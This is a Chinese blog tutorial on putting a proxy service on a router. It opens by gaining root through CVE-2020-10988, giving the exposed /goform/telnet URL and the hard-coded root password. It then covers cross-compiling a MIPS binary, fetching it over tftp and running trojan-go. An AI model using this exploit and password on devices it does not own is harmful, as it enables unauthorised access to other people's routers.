当前位置: 首页 > news >正文

如何在路由器上安装代理服务:详细教程

  • 如何在路由器上安装代理服务:详细教程
    • 步骤一:通过漏洞进入路由器系统
    • 开启Telnet服务
    • 使用Telnet登录路由器系统
    • 查看系统信息和CPU信息
    • 步骤二:交叉编译MIPS程序
      • Go对MIPS的支持
    • 安装TFTP Server
    • 使用BusyBox tftp传输文件
    • 在路由器系统中下载编译后的main文件
    • 步骤三:安装和运行代理服务
    • 结论
    • 相关参考:

如何在路由器上安装代理服务:详细教程

在这篇文章中,我们将详细介绍如何在路由器上安装代理服务。这包括从通过Telnet登录路由器系统,到在路由器上运行代理程序的每一个步骤。

步骤一:通过漏洞进入路由器系统

首先,我们需要进入路由器的系统。可以通过搜索该路由器厂商的相关漏洞来实现这一点。例如,CVE-2020-10988是一个已知的漏洞,可以帮助我们访问路由器系统。

cve-2020-10988

开启Telnet服务

访问 http://192.168.0.1/goform/telnet,响应信息显示 telnet is up. 表示Telnet服务已开启。

使用Telnet登录路由器系统

在命令行中输入以下命令,使用默认的用户名和密码登录路由器系统:

telnet 192.168.0.1
用户名:root
密码:Fireitup

在这里插入图片描述

查看系统信息和CPU信息

登录成功后,输入以下命令查看系统信息:

~ # cat /proc/version
Linux version 3.3.8 (root@linux-qxix) (gcc version 4.9.3 (Buildroot 2015.08) ) #1 Tue Dec 17 22:33:06 CST 2019

以及CPU信息:

~ # cat /proc/cpuinfo
system type             : Qualcomm Atheros QCA956X rev 0
machine                 : Qualcomm Atheros AP152 reference board
processor               : 0
cpu model               : MIPS 74Kc V5.0
BogoMIPS                : 385.84
wait instruction        : yes
microsecond timers      : yes
tlb_entries             : 32
extra interrupt vector  : yes
hardware watchpoint     : yes, count: 4, address/irw mask: [0x0000, 0x0ff8, 0x0ff8, 0x0ff8]
ASEs implemented        : mips16 dsp
shadow register sets    : 1
kscratch registers      : 0
core                    : 0
VCED exceptions         : not available
VCEI exceptions         : not available

步骤二:交叉编译MIPS程序

根据上一步获取的CPU信息,我们知道该路由器使用的是MIPS架构的处理器。因此,我们需要使用Go语言交叉编译一个MIPS程序。
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

Go对MIPS的支持

参考Go的官方文档,确认Go对MIPS的支持情况:
获取上述信息后,使用 Go 交叉编译 MIPS 程序。
Go MIPS支持

安装TFTP Server

我们需要安装一个TFTP服务器以便在路由器和本地机器之间传输文件。可以使用tftpd64:
在这里插入图片描述

TFTP服务器

使用BusyBox tftp传输文件

路由器系统中一般预装了BusyBox,可以使用tftp命令从TFTP服务器下载或上传文件。

Usage: tftp [OPTIONS] HOST [PORT]Transfer a file from/to tftp server-l FILE Local FILE-r FILE Remote FILE-g      Get file-p      Put file-b SIZE Transfer blocks of SIZE octets

下载文件:

tftp -g -r FilePath Host

上传文件:

tftp -p -l FilePath Host

在路由器系统中下载编译后的main文件

tftp -g -r main 192.168.0.142
main                 100% |********************************************************|  1088k  0:00:00 ETA

下载完成后,给文件添加执行权限并运行:

chmod +x main
./main

运行后应该看到类似 Hello cheungxiongwei 的输出。
在这里插入图片描述

步骤三:安装和运行代理服务

下载trojan-go
我们选择下载mips-softfloat版本的trojan-go。下载完成后,将压缩包转换成tar格式,以便在路由器系统中解压。
部署代理即可通过路由器访问外面的世界了。
在这里插入图片描述

在这里插入图片描述

结论

通过以上步骤,我们成功在路由器上安装并运行了一个代理服务。这使得路由器能够通过代理访问外部网络。通过详细的教程,我们可以轻松实现这一目标,并为日后的网络优化提供更多可能性。

相关参考:

  • https://cloud.tencent.com/developer/article/2207058
  • https://blog.securityevaluators.com/tenda-ac1900-vulnerabilities-discovered-and-exploited-e8e26aa0bc68
  • https://www.ise.io/wp-content/uploads/2020/08/kicking_devices_and_taking_cves.pdf

相关文章:

  • redis笔记1
  • 在 Qt Creator 上创建 ROS 项目并新建/导入 ROS 包
  • 探究MySQL中的“树”结构
  • 【TensorFlow深度学习】卷积层变种与深度残差网络原理
  • Java——二进制原码、反码和补码
  • xmake+xrepo自建仓库添加交叉编译工具链
  • 『大模型笔记』FlashAttention: 具有IO意识的快速且内存高效的精确注意力机制!
  • C++17新特性
  • bootstrapblazor小白笔记
  • 面试题--this关键字
  • 网络编程(三)
  • JVM类加载过程
  • linux进程加载和启动过程分析
  • 解决git status提示error bad signature 0x00000000
  • 步进电机和伺服电机哪个好_步进电机和伺服电机的区别
  • [LeetCode] Wiggle Sort
  • Angular 2 DI - IoC DI - 1
  • ComponentOne 2017 V2版本正式发布
  • flask接收请求并推入栈
  • Node + FFmpeg 实现Canvas动画导出视频
  • Sublime text 3 3103 注册码
  • Vue源码解析(二)Vue的双向绑定讲解及实现
  • Xmanager 远程桌面 CentOS 7
  • 阿里云Kubernetes容器服务上体验Knative
  • 服务器从安装到部署全过程(二)
  • 记一次和乔布斯合作最难忘的经历
  • 聊聊hikari连接池的leakDetectionThreshold
  • 前端临床手札——文件上传
  • 如何使用 JavaScript 解析 URL
  • Android开发者必备:推荐一款助力开发的开源APP
  • 小白应该如何快速入门阿里云服务器,新手使用ECS的方法 ...
  • #前后端分离# 头条发布系统
  • #我与Java虚拟机的故事#连载19:等我技术变强了,我会去看你的 ​
  • %3cli%3e连接html页面,html+canvas实现屏幕截取
  • (22)C#传智:复习,多态虚方法抽象类接口,静态类,String与StringBuilder,集合泛型List与Dictionary,文件类,结构与类的区别
  • (echarts)echarts使用时重新加载数据之前的数据存留在图上的问题
  • (笔试题)合法字符串
  • (第9篇)大数据的的超级应用——数据挖掘-推荐系统
  • (篇九)MySQL常用内置函数
  • (四)七种元启发算法(DBO、LO、SWO、COA、LSO、KOA、GRO)求解无人机路径规划MATLAB
  • (学习日记)2024.03.12:UCOSIII第十四节:时基列表
  • (杂交版)植物大战僵尸
  • (转)视频码率,帧率和分辨率的联系与区别
  • (最全解法)输入一个整数,输出该数二进制表示中1的个数。
  • .NET Core MongoDB数据仓储和工作单元模式封装
  • .NET Core跨平台微服务学习资源
  • .Net Redis的秒杀Dome和异步执行
  • .NET 表达式计算:Expression Evaluator
  • .NET/C# 使用反射注册事件
  • .NET框架类在ASP.NET中的使用(2) ——QA
  • .net连接MySQL的方法
  • @data注解_SpringBoot 使用WebSocket打造在线聊天室(基于注解)
  • @Transaction注解失效的几种场景(附有示例代码)
  • [ 网络基础篇 ] MAP 迈普交换机常用命令详解
  • [.net] 如何在mail的加入正文显示图片